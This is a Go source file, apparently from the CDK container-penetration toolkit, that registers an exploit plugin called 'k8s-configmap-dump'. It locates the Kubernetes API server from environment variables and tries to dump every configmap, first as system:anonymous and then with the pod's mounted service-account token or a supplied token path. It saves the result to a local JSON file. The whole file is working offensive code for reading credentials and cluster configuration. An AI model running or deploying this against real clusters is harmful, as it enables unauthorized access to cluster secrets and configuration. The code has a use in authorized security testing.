// +build !no_k8s_configmap_dump

package exploit

import (
	"fmt"
	"github.com/cdk-team/CDK/conf"
	"github.com/cdk-team/CDK/pkg/cli"
	"github.com/cdk-team/CDK/pkg/plugin"
	"github.com/cdk-team/CDK/pkg/tool/kubectl"
	"io/ioutil"
	"log"
	"strings"
)

var configmapApi = "/api/v1/configmaps"

func dumpK8sConfigmapSA(serverAddr string, tokenPath string) string {
	log.Println("requesting ", configmapApi)
	resp, err := kubectl.ServerAccountRequest(
		kubectl.K8sRequestOption{
			TokenPath: tokenPath,
			Server:    serverAddr, // default
			Api:       configmapApi,
			Method:    "get",
			PostData:  "",
			Anonymous: false,
		})
	if err != nil {
		fmt.Println(err)
	}

	return resp
}

func dumpK8sConfigmapAnonymous(serverAddr string) string {
	// make direct request to api-server REST API
	// Ref https://github.com/kubernetes-client/python/blob/b79ad6837b2f5326c7dad488a64eed7c3987e856/kubernetes/README.md

	log.Println("requesting ", configmapApi)
	resp, err := kubectl.ServerAccountRequest(
		kubectl.K8sRequestOption{
			TokenPath: "",
			Server:    serverAddr, // default
			Api:       configmapApi,
			Method:    "get",
			PostData:  "",
			Anonymous: true,
		})
	if err != nil {
		fmt.Println(err)
	}

	return resp
}

// plugin interface
type dumpK8sConfigmapS struct{}

func (p dumpK8sConfigmapS) Desc() string {
	return "try to dump K8s configmap in multiple ways, usage: cdk run k8s-configmap-dump (auto|<service-account-token-path>)"
}
func (p dumpK8sConfigmapS) Run() bool {
	// if your script needs input, parse os.Args by yourself.
	args := cli.Args["<args>"].([]string)
	if len(args) != 1 {
		log.Println("invalid input args.")
		log.Fatal(p.Desc())
	}

	// get api-server connection conf in ENV
	log.Println("getting K8s api-server API addr.")
	addr, err := kubectl.ApiServerAddr()
	if err != nil {
		fmt.Println(err)
		return false
	}
	fmt.Println("\tFind K8s api-server in ENV:", addr)

	var resp string
	var outFile = "k8s_configmaps.json"
	switch args[0] {
	case "auto":
		log.Println("trying to dump K8s configmap with user system:anonymous")
		resp = dumpK8sConfigmapAnonymous(addr)
		if !strings.Contains(resp, "selfLink") {
			log.Println("failed, api-server response:")
			fmt.Println(resp)

			log.Println("trying to dump K8s configmap with local service-account:", conf.K8sSATokenDefaultPath)
			resp = dumpK8sConfigmapSA(addr, conf.K8sSATokenDefaultPath)
			if !strings.Contains(resp, "selfLink") {
				log.Println("failed, api-server response:")
				fmt.Println(resp)
				return false
			}
		}

	default:
		log.Println("trying to dump K8s configmap with local service-account:", args[0])
		resp = dumpK8sConfigmapSA(addr, args[0])
		if !strings.Contains(resp, "selfLink") {
			log.Println("failed, api-server response:")
			fmt.Println(resp)
			return false
		}
	}

	log.Println("dump configmap success, saved in: ", outFile)
	err = ioutil.WriteFile(outFile, []byte(resp), 0666)
	if err != nil {
		log.Println("failed to write file.", err)
		return false
	}

	return true
}

func init() {
	exploit := dumpK8sConfigmapS{}
	plugin.RegisterExploit("k8s-configmap-dump", exploit)
}
